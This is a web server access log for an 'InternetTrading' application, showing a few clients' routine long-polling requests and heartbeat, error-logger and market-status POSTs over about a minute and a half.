[09/Jan/2026:13:47:20 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937915830 HTTP/1.1" -
[09/Jan/2026:13:47:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937909025 HTTP/1.1" -
[09/Jan/2026:13:47:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:47:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:47:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:47:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:47:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937912486 HTTP/1.1" -
[09/Jan/2026:13:47:25 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937920863 HTTP/1.1" -
[09/Jan/2026:13:47:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937931186 HTTP/1.1" -
[09/Jan/2026:13:47:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937914059 HTTP/1.1" -
[09/Jan/2026:13:47:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937917634 HTTP/1.1" -
[09/Jan/2026:13:47:30 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937925959 HTTP/1.1" -
[09/Jan/2026:13:47:31 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937919087 HTTP/1.1" -
[09/Jan/2026:13:47:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937937197 HTTP/1.1" -
[09/Jan/2026:13:47:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:47:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:47:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:47:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:47:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937922774 HTTP/1.1" -
[09/Jan/2026:13:47:35 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937931028 HTTP/1.1" -
[09/Jan/2026:13:47:36 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937924155 HTTP/1.1" -
[09/Jan/2026:13:47:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937943191 HTTP/1.1" -
[09/Jan/2026:13:47:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937927832 HTTP/1.1" -
[09/Jan/2026:13:47:40 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937936137 HTTP/1.1" -
[09/Jan/2026:13:47:41 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937929243 HTTP/1.1" -
[09/Jan/2026:13:47:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937932987 HTTP/1.1" -
[09/Jan/2026:13:47:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937949189 HTTP/1.1" -
[09/Jan/2026:13:47:45 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937941207 HTTP/1.1" -
[09/Jan/2026:13:47:46 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937934308 HTTP/1.1" -
[09/Jan/2026:13:47:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:47:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:47:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:47:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:47:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937938200 HTTP/1.1" -
[09/Jan/2026:13:47:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:47:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:47:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:47:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937955292 HTTP/1.1" -
[09/Jan/2026:13:47:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:47:50 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937946322 HTTP/1.1" -
[09/Jan/2026:13:47:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937939379 HTTP/1.1" -
[09/Jan/2026:13:47:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:47:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:47:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:47:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:47:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937943354 HTTP/1.1" -
[09/Jan/2026:13:47:55 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937951364 HTTP/1.1" -
[09/Jan/2026:13:47:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937961195 HTTP/1.1" -
[09/Jan/2026:13:47:56 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937944493 HTTP/1.1" -
[09/Jan/2026:13:47:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937948528 HTTP/1.1" -
[09/Jan/2026:13:48:01 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937956466 HTTP/1.1" -
[09/Jan/2026:13:48:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937949534 HTTP/1.1" -
[09/Jan/2026:13:48:02 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937967198 HTTP/1.1" -
[09/Jan/2026:13:48:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:48:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:48:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:48:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:48:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937953736 HTTP/1.1" -
[09/Jan/2026:13:48:06 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937961565 HTTP/1.1" -
[09/Jan/2026:13:48:07 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937954682 HTTP/1.1" -
[09/Jan/2026:13:48:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937973188 HTTP/1.1" -
[09/Jan/2026:13:48:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937958795 HTTP/1.1" -
[09/Jan/2026:13:48:11 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937966629 HTTP/1.1" -
[09/Jan/2026:13:48:12 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937959758 HTTP/1.1" -
[09/Jan/2026:13:48:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937979189 HTTP/1.1" -
[09/Jan/2026:13:48:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937963921 HTTP/1.1" -
[09/Jan/2026:13:48:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937971726 HTTP/1.1" -
[09/Jan/2026:13:48:18 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937964863 HTTP/1.1" -
[09/Jan/2026:13:48:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:48:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:48:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:48:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:48:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937969047 HTTP/1.1" -
[09/Jan/2026:13:48:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937985193 HTTP/1.1" -
[09/Jan/2026:13:48:21 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937976801 HTTP/1.1" -
[09/Jan/2026:13:48:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:48:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:48:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937970639 HTTP/1.1" -
[09/Jan/2026:13:48:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:48:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:48:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937974228 HTTP/1.1" -
[09/Jan/2026:13:48:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937991195 HTTP/1.1" -
[09/Jan/2026:13:48:26 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937981827 HTTP/1.1" -
[09/Jan/2026:13:48:28 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937975674 HTTP/1.1" -
[09/Jan/2026:13:48:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937979333 HTTP/1.1" -
[09/Jan/2026:13:48:31 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937986921 HTTP/1.1" -
[09/Jan/2026:13:48:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937997185 HTTP/1.1" -
[09/Jan/2026:13:48:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:48:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:48:33 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937980698 HTTP/1.1" -
[09/Jan/2026:13:48:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:48:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:48:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767937984462 HTTP/1.1" -
